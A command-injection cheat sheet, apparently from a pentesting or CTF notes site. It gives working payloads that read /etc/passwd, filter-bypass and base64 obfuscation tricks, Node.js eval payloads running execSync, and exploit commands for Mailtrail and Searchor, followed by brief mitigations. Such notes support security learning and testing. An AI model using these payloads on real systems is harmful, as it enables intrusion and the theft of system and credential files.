Command injection
A command injection occurs when a developer uses the user input in system commands without proper sanitization/measures.
For instance, a PHP website on Linux might use grep
, sed
, or other utilities instead of PHP functions for some operations:
$search = $_GET['q'];
$res = system("grep \"$search\" content/");
echo "<pre>$res</pre>";
With the following payload for q
: " -V; cat /etc/passwd #
, the command executed will be as follows, allowing us to steal /etc/passwd
grep "" -V; cat /etc/passwd # content/
There are two kinds of command injections
- Regular/in-band: same channel to attack and gather results
-
Blind/out-band: different channels to attack and gather results
- Using redirections/flags, create a URL-accessible output file
[...] cat /etc/passwd > /var/www/html/output.txt [...]
- Using commands such as
sleep
to perform a time-based attack
[...] true && sleep 5 [...]
Basic Overview
Assuming we have a list of vulnerable elements such as forms that may be vulnerable, we can try common characters:
-
;
β%3B
β run two commands -
\n
β%0A
β run two commands -
&&
β%26%26
β executed if the previous ones succeed -
||
β%7C%7C
β executed if the previous ones failed -
&
β%26
β run two commands (background previous) -
|
β%7C
β run two commands (pipe previous one) -
``
β%60%60
β execute a command in another command -
$()
β%24%28%29
β execute a command in another command
You might try automated tools such as commix (4.2k β).
Assuming you found a vulnerable parameter, and are trying to exploit it, one of the main issues is URL encoding the payload.
Always try to inject bit by bit using a boolean-based approach.
β‘οΈ See also: onectf request (Simple manual testing).
Bypass filters
Character Filtering
By-pass space character filtering.
- Try using tabs (
%09
) - Try using variables (
${IFS}
) - Try using brace expansion (
{ls,-la}
) -- bash - ...
By-pass slash character filtering.
- Try using variables (
${PATH:0:1}
) -- may not be set - Try using variables (
${HOME:0:1}
) -- may not be set - Try using variables (
${PWD:0:1}
) - Try using brace expansion (
{ls,-la}
) -- bash - ...
β‘οΈ See also: printenv
or env
to list exploitable variables.
Bypass using obfuscation
Remember that such payloads may contain filtered characters. See also tools such as Bashfuscator.
$ $(tr "[A-Z]" "[a-z]"<<<"WhOaMi")
$ $(a="WhOaMi";printf %s "${a,,}")
$ # using base64
$ base64 <<< whoami
d2hvYW1pCg==
$ bash<<<$(base64 -d<<<d2hvYW1pCg==) # whoami
$ # using UTF-16 and base64
$ echo -n whoami | iconv -f utf-8 -t utf-16le | base64
Command Filtering
Put pair of quotes/double quotes anywhere within the command
# available on Linux, Windows (PowerShell)
$ w'ho'ami ; w""hoam''i
- Put
\\
or$@
anywhere within the command
# available on Linux
$ w\ho\am\i ; who$@ami
- Put
^
anywhere within the command
# available on Windows (CMD)
CMD> who^am^i
- Reverse commands
$ $(rev<<<'imaohw')
PS> iex "$('imaohw'[-1..-20] -join '')"
- Filters may have been applied only once
PS> cat # It doesn't work.
PS> ccatat # It works!
- Use variables to split the command
PS> $a="l"; $b="s" ; & $a$b
Additional Notes
Refer to injection if you need to inject something in the arguments of a custom script.
Mailtrail v0.53
POC (python script) (0.03k β).
$ python3 exploit.py listener_ip listener_port URL
Searchor 2.4.2
Poc (python script) (0.01k β).
$ onectf request -u URL -X POST -d 'engine=Yahoo' -p query -i '<q>, exec(""))#'
You can execute python code inside exec
.
PHP 'eval' function
Refer to HackTricks for the payloads. If the parameter is filtered, we can tried PHP specific by-passes such as PHP octal.
Perl open()
The open function is perl can execute commands when we use |
in the filename. For instance, | cat /etc/passwd
. The code is not vulnerable if there is a <
before our filename in the open
function call.
Node.js 'eval' function
If the input is evaluated using eval, we can write some code in it.
- Normal input:
5
- Normal input wrapped:
(()=>{return 5})()
- If it works, we can add some code in-between
(() => {
try {
return `Output: ${require('child_process').execSync('whoami').toString()}`
} catch (error) {
return `Error executing command: ${error}`
}
})()
// without spaces
(()=>{try{return(`Output:${require('child_process').execSync('whoami').toString()}`)}catch(error){return(`Error:${error}`)}})()
It's not always possible to return a string, but if errors are returned, you may use them instead of the usual vector.
(()=>{throw new Error(require("child_process").execSync("whoami").toString())})()
res.end(require('fs').readdirSync('.').toString())
res.end(require('fs').readFileSync('file').toString())
Node.js 'eval' function
Reminder of useful payloads: $(whoami)
, ; whoami
, $(Get-ChildItem Env:)
, $(command|Out-string)
, | powershell command
...
Mitigation π‘οΈ
-
Avoid using uncontrolled input in system commands. Always validate and filter user input.
-
Use web server engine functions instead of system functions
-
Use a WAF or a similar tool
π» To-do π»
Stuff that I found, but never read/used yet.
- Windows Slash (
$env:HOMEPATH[0]
) - Direct access to a program in a jail?